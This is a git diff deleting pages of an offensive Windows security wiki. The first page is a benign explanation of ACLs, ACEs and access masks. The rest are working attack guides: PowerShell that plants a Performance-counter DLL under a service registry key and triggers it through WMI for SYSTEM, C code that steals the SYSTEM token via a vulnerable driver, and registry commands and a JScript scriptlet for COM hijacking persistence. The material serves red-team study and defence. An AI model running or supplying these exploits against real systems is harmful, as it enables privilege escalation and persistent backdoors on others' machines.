-### ACEs
-
-There arey **three main types of Access Control Entries (ACEs)**:
-
-- **Access Denied ACE**: This ACE explicitly denies access to an object for specified users or groups (in a DACL).
-- **Access Allowed ACE**: This ACE explicitly grants access to an object for specified users or groups (in a DACL).
-- **System Audit ACE**: Positioned within a System Access Control List (SACL), this ACE is responsible for generating audit logs upon access attempts to an object by users or groups. It documents whether access was allowed or denied and the nature of the access.
-
-Each ACE has **four critical components**:
-
-1. The **Security Identifier (SID)** of the user or group (or their principal name in a graphical representation).
-2. A **flag** that identifies the ACE type (access denied, allowed, or system audit).
-3. **Inheritance flags** that determine if child objects can inherit the ACE from their parent.
-4. An [**access mask**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), a 32-bit value specifying the object's granted rights.
-
-Access determination is conducted by sequentially examining each ACE until:
-
-- An **Access-Denied ACE** explicitly denies the requested rights to a trustee identified in the access token.
-- **Access-Allowed ACE(s)** explicitly grant all requested rights to a trustee in the access token.
-- Upon checking all ACEs, if any requested right has **not been explicitly allowed**, access is implicitly **denied**.
-
-### Order of ACEs
-
-The way **ACEs** (rules that say who can or cannot access something) are put in a list called **DACL** is very important. This is because once the system gives or denies access based on these rules, it stops looking at the rest.
-
-There is a best way to organize these ACEs, and it is called **"canonical order."** This method helps make sure everything works smoothly and fairly. Here is how it goes for systems like **Windows 2000** and **Windows Server 2003**:
-
-- First, put all the rules that are made **specifically for this item** before the ones that come from somewhere else, like a parent folder.
-- In those specific rules, put the ones that say **"no" (deny)** before the ones that say **"yes" (allow)**.
-- For the rules that come from somewhere else, start with the ones from the **closest source**, like the parent, and then go back from there. Again, put **"no"** before **"yes."**
-
-This setup helps in two big ways:
-
-- It makes sure that if there is a specific **"no,"** it is respected, no matter what other **"yes"** rules are there.
-- It lets the owner of an item have the **final say** on who gets in, before any rules from parent folders or further back come into play.
-
-By doing things this way, the owner of a file or folder can be very precise about who gets access, making sure the right people can get in and the wrong ones can't.
-
-![NTFS access control entry ordering diagram](https://www.ntfs.com/images/screenshots/ACEs.gif)
-
-So, this **"canonical order"** is all about making sure the access rules are clear and work well, putting specific rules first and organizing everything in a smart way.
-
-### GUI Example
-
-[**Example from here**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
-
-This is the classic security tab of a folder showing the ACL, DACL and ACEs:
-
-![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../images/classicsectab.jpg)
-
-If we click the **Advanced button** we will get more options like inheritance:
-
-![http://secureidentity.se/wp-content/uploads/2014/04/aceinheritance.jpg](../../images/aceinheritance.jpg)
-
-And if you add or edit a Security Principal:
-
-![http://secureidentity.se/wp-content/uploads/2014/04/editseprincipalpointers1.jpg](../../images/editseprincipalpointers1.jpg)
-
-And last we have the SACL in the Auditing tab:
-
-![http://secureidentity.se/wp-content/uploads/2014/04/audit-tab.jpg](../../images/audit-tab.jpg)
-
-### Explaining Access Control in a Simplified Manner
-
-When managing access to resources, like a folder, we use lists and rules known as Access Control Lists (ACLs) and Access Control Entries (ACEs). These define who can or cannot access certain data.
-
-#### Denying Access to a Specific Group
-
-Imagine you have a folder named Cost, and you want everyone to access it except for a marketing team. By setting up the rules correctly, we can ensure that the marketing team is explicitly denied access before allowing everyone else. This is done by placing the rule to deny access to the marketing team before the rule that allows access to everyone.
-
-#### Allowing Access to a Specific Member of a Denied Group
-
-Let's say Bob, the marketing director, needs access to the Cost folder, even though the marketing team generally shouldn't have access. We can add a specific rule (ACE) for Bob that grants him access, and place it before the rule that denies access to the marketing team. This way, Bob gets access despite the general restriction on his team.
-
-#### Understanding Access Control Entries
-
-ACEs are the individual rules in an ACL. They identify users or groups, specify what access is allowed or denied, and determine how these rules apply to sub-items (inheritance). There are two main types of ACEs:
-
-- **Generic ACEs**: These apply broadly, affecting either all types of objects or distinguishing only between containers (like folders) and non-containers (like files). For example, a rule that allows users to see the contents of a folder but not to access the files within it.
-- **Object-Specific ACEs**: These provide more precise control, allowing rules to be set for specific types of objects or even individual properties within an object. For instance, in a directory of users, a rule might allow a user to update their phone number but not their login hours.
-
-Each ACE contains important information like who the rule applies to (using a Security Identifier or SID), what the rule allows or denies (using an access mask), and how it's inherited by other objects.
-
-#### Key Differences Between ACE Types
-
-- **Generic ACEs** are suitable for simple access control scenarios, where the same rule applies to all aspects of an object or to all objects within a container.
-- **Object-Specific ACEs** are used for more complex scenarios, especially in environments like Active Directory, where you might need to control access to specific properties of an object differently.
-
-In summary, ACLs and ACEs help define precise access controls, ensuring that only the right individuals or groups have access to sensitive information or resources, with the ability to tailor access rights down to the level of individual properties or object types.
-
-### Access Control Entry Layout
-
-| ACE Field   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Type        | Flag that indicates the type of ACE. Windows 2000 and Windows Server 2003 support six types of ACE: Three generic ACE types that are attached to all securable objects. Three object-specific ACE types that can occur for Active Directory objects.                                                                                                                                                                                                                                                            |
-| Flags       | Set of bit flags that control inheritance and auditing.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| Size        | Number of bytes of memory that are allocated for the ACE.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| Access mask | 32-bit value whose bits correspond to access rights for the object. Bits can be set either on or off, but the setting's meaning depends on the ACE type. For example, if the bit that corresponds to the right to read permissions is turned on, and the ACE type is Deny, the ACE denies the right to read the object's permissions. If the same bit is set on but the ACE type is Allow, the ACE grants the right to read the object's permissions. More details of the Access mask appear in the next table. |
-| SID         | Identifies a user or group whose access is controlled or monitored by this ACE.                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-
-### Access Mask Layout
-
-| Bit (Range) | Meaning                            | Description/Example                       |
-| ----------- | ---------------------------------- | ----------------------------------------- |
-| 0 - 15      | Object Specific Access Rights      | Read data, Execute, Append data           |
-| 16 - 22     | Standard Access Rights             | Delete, Write ACL, Write Owner            |
-| 23          | Can access security ACL            |                                           |
-| 24 - 27     | Reserved                           |                                           |
-| 28          | Generic ALL (Read, Write, Execute) | Everything below                          |
-| 29          | Generic Execute                    | All things necessary to execute a program |
-| 30          | Generic Write                      | All things necessary to write to a file   |
-| 31          | Generic Read                       | All things necessary to read a file       |
-
-## References
-
-- [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm)
-- [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
-- [https://www.coopware.in2.info/\_ntfsacl_ht.htm](https://www.coopware.in2.info/_ntfsacl_ht.htm)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
deleted file mode 100644
index 9d099b8c437..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
+++ /dev/null
@@ -1,116 +0,0 @@
-# AppendData/AddSubdirectory Permission over Service Registry
-
-{{#include ../../banners/hacktricks-training.md}}
-
-**The original post is** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
-
-## Summary
-
-If you only have **`Create Subkey`** / **`AppendData/AddSubdirectory`** on a service registry key, this is still a good privesc lead. You usually **can't** overwrite `ImagePath`, `ServiceDll`, or other existing values directly, but you may still be able to create a **`Performance`** child key under:
-
-- **`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`**
-- **`HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`**
-- Any other **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`** key where your token has **`KEY_CREATE_SUB_KEY`**
-
-The trick is that Windows still supports the legacy **PerfLib V1** registration model. If a service has a **`Performance`** subkey, Windows can load a DLL from there when a performance counter consumer requests data.
-
-According to Microsoft documentation, the minimum registration is:
-
-```text
-HKLM\SYSTEM\CurrentControlSet\Services\<service>\Performance
-  Library = C:\Path\payload.dll
-  Open    = OpenPerfData
-  Collect = CollectPerfData
-  Close   = ClosePerfData
-```
-
-So the offensive takeaway is: **don't discard a service registry finding just because you only got `CreateSubKey` instead of `SetValue`**.
-
-## Why this is enough for code execution
-
-The `Performance` subkey does **not** usually exist by default on these services, so **`KEY_CREATE_SUB_KEY`** is the primitive you need. Once the key exists and contains `Library`/`Open`/`Collect`/`Close`, any **performance counter consumer** can trigger the DLL load.
-
-A few important details:
-
-- The **`Library`** value can point to a **full DLL path**.
-- The DLL must export **`OpenPerfData`**, **`CollectPerfData`**, and **`ClosePerfData`** and return `ERROR_SUCCESS`.
-- The code runs in the **consumer's context**, **not necessarily in the vulnerable service process itself**.
-- In the classic `RpcEptMapper` / `Dnscache` case, a **WMI performance query** can make **`wmiprvse.exe`** load the DLL as **`NT AUTHORITY\SYSTEM`**.
-
-This is why the primitive is easy to miss during triage: the parent service key is not "fully writable", but it is still weaponizable.
-
-## Quick enumeration
-
-Manual spot-check with **AccessChk**:
-
-```bash
-accesschk.exe -k -w hklm\system\currentcontrolset\services\rpceptmapper
-accesschk.exe -k -w hklm\system\currentcontrolset\services\dnscache
-```
-
-PowerShell example to look for low-privileged principals with **`CreateSubKey`** on service keys:
-
-```powershell
-Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object {
-  $weak = (Get-Acl $_.PSPath).Access | Where-Object {
-    $_.AccessControlType -eq 'Allow' -and
-    ($_.RegistryRights -band [System.Security.AccessControl.RegistryRights]::CreateSubKey) -eq [System.Security.AccessControl.RegistryRights]::CreateSubKey -and
-    $_.IdentityReference -match 'Users|Authenticated Users|INTERACTIVE|Network Configuration Operators'
-  }
-  if ($weak) {
-    [pscustomobject]@{Service=$_.PSChildName; Principals=($weak.IdentityReference -join ', '); Rights=($weak.RegistryRights -join '; ')}
-  }
-}
-```
-
-Useful tooling:
-
-- **PrivescCheck**: `Get-ModifiableRegistryPath` was created specifically to spot this class of issue.
-- **SharpUp**: `SharpUp.exe audit ModifiableServiceRegistryKeys`
-- **Perfusion**: automates DLL drop, `Performance` registration, WMI trigger, token duplication, and cleanup on legacy vulnerable targets (for example: `Perfusion.exe -c cmd -i -k Dnscache`).
-
-## Abuse flow
-
-Create the `Performance` subkey and populate the required values:
-
-```powershell
-$svc = 'RpcEptMapper' # or Dnscache / NetBT / another vulnerable service
-$k = "HKLM:\SYSTEM\CurrentControlSet\Services\$svc\Performance"
-New-Item $k -Force | Out-Null
-New-ItemProperty $k -Name Library -Value "$pwd\payload.dll" -PropertyType String -Force | Out-Null
-New-ItemProperty $k -Name Open -Value 'OpenPerfData' -PropertyType String -Force | Out-Null
-New-ItemProperty $k -Name Collect -Value 'CollectPerfData' -PropertyType String -Force | Out-Null
-New-ItemProperty $k -Name Close -Value 'ClosePerfData' -PropertyType String -Force | Out-Null
-```
-
-Then trigger a **privileged** performance consumer. A classic example is a WMI query over `Win32_Perf*` classes:
-
-```powershell
-powershell.exe -NoProfile -Command "Get-WmiObject -List | Where-Object { $_.Name -like 'Win32_Perf*' } | Out-Null"
-```
-
-Operational notes:
-
-- Launching **`perfmon.exe`** is useful to verify that the counter registration is correct, but that usually only loads the DLL in **your own user context**.
-- For an actual LPE, trigger a **privileged** consumer such as **WMI**.
-- If you are writing your own exploit, spawning `cmd.exe` directly from inside the DLL usually leaves you with a shell in **session 0**. `Perfusion` solves this by duplicating the privileged token into a process that was created suspended in the attacker's session.
-- Match the DLL architecture to the target consumer (**x64 on x64 systems**).
-
-## Version notes / recent developments
-
-Historically, the built-in weak keys were:
-
-- **Windows 7 / Windows Server 2008 R2**: `RpcEptMapper` and `Dnscache`
-- **Windows 8 / Windows Server 2012**: `RpcEptMapper`
-
-`Perfusion` notes that the **April 2021** updates removed the easy exploitation path on updated **Windows 8 / Windows Server 2012**, while **Windows 7 / Windows Server 2008 R2** remained exploitable through **`Dnscache`**.
-
-This primitive is **not only historical**. In **January 2025**, Microsoft patched a related AD DS issue where members of **`Network Configuration Operators`** could create subkeys under **`Dnscache`** and **`NetBT`**, and the same **Performance-counter DLL registration** idea could be reused to reach **SYSTEM** on supported systems.
-
-So the modern lesson is generic: whenever a low-privileged principal has **`CreateSubKey`** on **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`**, check whether a **`Performance`** child key is enough before dismissing the finding.
-
-## References
-
-- [Microsoft Learn - Creating the Application's Performance Key](https://learn.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)
-- [BirkeP - Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)](https://birkep.github.io/posts/Windows-LPE/)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md
deleted file mode 100644
index fa52cafca41..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# Windows kernel EoP: Token stealing with arbitrary kernel R/W
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
-
-Why it works:
-- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
-- The SYSTEM process (PID 4) holds a token with all privileges enabled.
-- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
-
-> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
-
-## High-level steps
-
-1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
-   - From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
-   - Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
-2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
-3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
-   - EPROCESS_SYSTEM (for SYSTEM)
-   - EPROCESS_SELF (for the current process)
-4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-   - Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
-5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
-   - Token_ME = *(EPROCESS_SELF + TokenOffset)
-   - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
-6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
-7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
-
-## Pseudocode
-
-Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
-
-```c
-#include <Windows.h>
-#include <Psapi.h>
-#include <stdint.h>
-
-// Device + IOCTLs are driver-specific
-#define DEV_PATH   "\\\\.\\VulnDrv"
-#define IOCTL_KREAD  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
-#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
-
-// Version-specific (examples only – resolve per build!)
-static const uint32_t Off_EPROCESS_UniquePid    = 0x448; // varies
-static const uint32_t Off_EPROCESS_Token        = 0x4b8; // varies
-static const uint32_t Off_EPROCESS_ActiveLinks  = 0x448 + 0x8; // often UniquePid+8, varies
-
-BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
-    struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
-    in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
-}
-BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
-    struct { uint64_t addr, val; } in; DWORD ret;
-    in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
-}
-
-// Get ntoskrnl base (one option)
-uint64_t get_nt_base(void) {
-    LPVOID drivers[1024]; DWORD cbNeeded;
-    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
-        return (uint64_t)drivers[0]; // first is typically ntoskrnl
-    }
-    return 0;
-}
-
-int main(void) {
-    HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
-    if (h == INVALID_HANDLE_VALUE) return 1;
-
-    // 1) Resolve PsInitialSystemProcess
-    uint64_t nt = get_nt_base();
-    uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
-
-    // 2) Read SYSTEM EPROCESS
-    uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
-
-    // 3) Walk ActiveProcessLinks to find current EPROCESS
-    DWORD myPid = GetCurrentProcessId();
-    uint64_t cur = EPROC_SYS; // list is circular
-    uint64_t EPROC_ME = 0;
-    do {
-        uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
-        if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
-        uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
-        cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
-    } while (cur != EPROC_SYS);
-
-    // 4) Read tokens
-    uint64_t tok_sys, tok_me;
-    kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
-    kread_qword(h, EPROC_ME  + Off_EPROCESS_Token, &tok_me);
-
-    // 5) Mask EX_FAST_REF low bits and splice refcount bits
-    uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
-    uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
-
-    // 6) Write back
-    kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
-
-    // 7) We are SYSTEM now
-    system("cmd.exe");
-    return 0;
-}
-```
-
-Notes:
-- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
-- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
-- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.
-
-## Detection & mitigation
-- Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause.
-- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading.
-- EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps.
-
-## References
-- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
-- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
deleted file mode 100644
index e1ec22e619e..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ /dev/null
@@ -1,187 +0,0 @@
-# COM Hijacking
-
-{{#include ../../banners/hacktricks-training.md}}
-
-### Searching non-existent COM components
-
-As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistence mechanism**. Using `procmon` it's easy to find searched COM registries that don't exist yet and could be created by an attacker. Classic filters:
-
-- **RegOpenKey** operations.
-- where the _Result_ is **NAME NOT FOUND**.
-- and the _Path_ ends with **InprocServer32**.
-
-Useful variations during hunting:
-
-- Also look for missing **`LocalServer32`** keys. Some COM classes are out-of-process servers and will launch an attacker-controlled EXE instead of a DLL.
-- Search for **`TreatAs`** and **`ScriptletURL`** registry operations in addition to `InprocServer32`. Recent detection content and malware writeups keep calling these out because they are much rarer than normal COM registrations and therefore high-signal.
-- Copy the legitimate **`ThreadingModel`** from the original `HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32` when cloning a registration into HKCU. Using the wrong model often breaks activation and makes the hijack noisy.
-- On 64-bit systems inspect both 64-bit and 32-bit views (`procmon.exe` vs `procmon64.exe`, `HKLM\Software\Classes` and `HKLM\Software\Classes\WOW6432Node`) because 32-bit applications may resolve a different COM registration.
-
-Once you have decided which non-existent COM to impersonate, execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._
-
-```bash
-New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
-New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
-New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
-```
-
-### Hijackable Task Scheduler COM components
-
-Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.
-
-<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
-$Tasks = Get-ScheduledTask
-
-foreach ($Task in $Tasks)
-{
-  if ($Task.Actions.ClassId -ne $null)
-  {
-    if ($Task.Triggers.Enabled -eq $true)
-    {
-      $usersSid = "S-1-5-32-545"
-      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
-
-      if ($Task.Principal.GroupId -eq $usersGroup)
-      {
-        Write-Host "Task Name: " $Task.TaskName
-        Write-Host "Task Path: " $Task.TaskPath
-        Write-Host "CLSID: " $Task.Actions.ClassId
-        Write-Host
-      }
-    }
-  }
-}
-
-# Sample Output:
-<strong># Task Name:  Example
-</strong># Task Path:  \Microsoft\Windows\Example\
-# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
-# [more like the previous one...]</code></pre>
-
-Checking the output you can select one that is going to be executed **every time a user logs in** for example.
-
-Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
-
-```bash
-# Exists in HKCR\CLSID\
-Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
-
-Name           Property
-----           --------
-InprocServer32 (default)      : C:\Windows\system32\some.dll
-               ThreadingModel : Both
-
-# Exists in HKLM
-Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
-
-Name                                   Property
-----                                   --------
-{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
-
-# Doesn't exist in HKCU
-PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
-Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
-```
-
-Then, you can just create the HKCU entry and every time the user logs in, your backdoor will be fired.
-
----
-
-## COM TreatAs Hijacking + ScriptletURL
-
-`TreatAs` allows one CLSID to be emulated by another one. From an offensive perspective this means you can leave the original CLSID untouched, create a second per-user CLSID that points to `scrobj.dll`, and then redirect the real COM object to the malicious one with `HKCU\Software\Classes\CLSID\{Victim}\TreatAs`.
-
-This is useful when:
-
-- the target application already instantiates a stable CLSID at logon or on app start
-- you want a registry-only redirect instead of replacing the original `InprocServer32`
-- you want to execute a local or remote `.sct` scriptlet through the `ScriptletURL` value
-
-Example workflow (adapted from public Atomic Red Team tradecraft and older COM registry abuse research):
-
-```cmd
-:: 1. Create a malicious per-user COM class backed by scrobj.dll
-reg add "HKCU\Software\Classes\AtomicTest" /ve /t REG_SZ /d "AtomicTest" /f
-reg add "HKCU\Software\Classes\AtomicTest\CLSID" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
-reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /t REG_SZ /d "AtomicTest" /f
-reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\System32\scrobj.dll" /f
-reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
-reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /t REG_SZ /d "file:///C:/ProgramData/atomic.sct" /f
-
-:: 2. Redirect a high-frequency CLSID to the malicious class
-reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
-```
-
-Notes:
-
-- `scrobj.dll` reads the `ScriptletURL` value and executes the referenced `.sct`, so you can keep the payload as a local file or pull it remotely over HTTP/HTTPS.
-- `TreatAs` is especially handy when the original COM registration is complete and stable in HKLM, because you only need a small per-user redirect instead of mirroring the entire tree.
-- For validation without waiting on the natural trigger, you can instantiate the fake ProgID/CLSID manually with `rundll32.exe -sta <ProgID-or-CLSID>` if the target class supports STA activation.
-
-## COM TypeLib Hijacking (script: moniker persistence)
-
-Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched.
-
-This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
-
-### Steps (PowerShell)
-
-1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
-
-```powershell
-$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
-$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
-$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
-"CLSID=$clsid  LIBID=$libid  VER=$ver"
-```
-
-2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required):
-
-```powershell
-$dest = 'C:\\ProgramData\\Udate_Srv.sct'
-New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
-Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
-```
-
-3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain):
-
-```xml
-<?xml version="1.0"?>
-<scriptlet>
-  <registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
-  <script language="JScript">
-    <![CDATA[
-      try {
-        var sh = new ActiveXObject('WScript.Shell');
-        // Re-launch the malicious LNK for persistence
-        var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
-        sh.Run(cmd, 0, false);
-      } catch(e) {}
-    ]]>
-  </script>
-</scriptlet>
-```
-
-4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot.
-
-Cleanup
-```powershell
-# Remove the per-user TypeLib hijack
-Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
-# Delete the dropped scriptlet
-Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
-```
-
-Notes
-- You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first.
-- On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers.
-
-## References
-
-- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
-- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
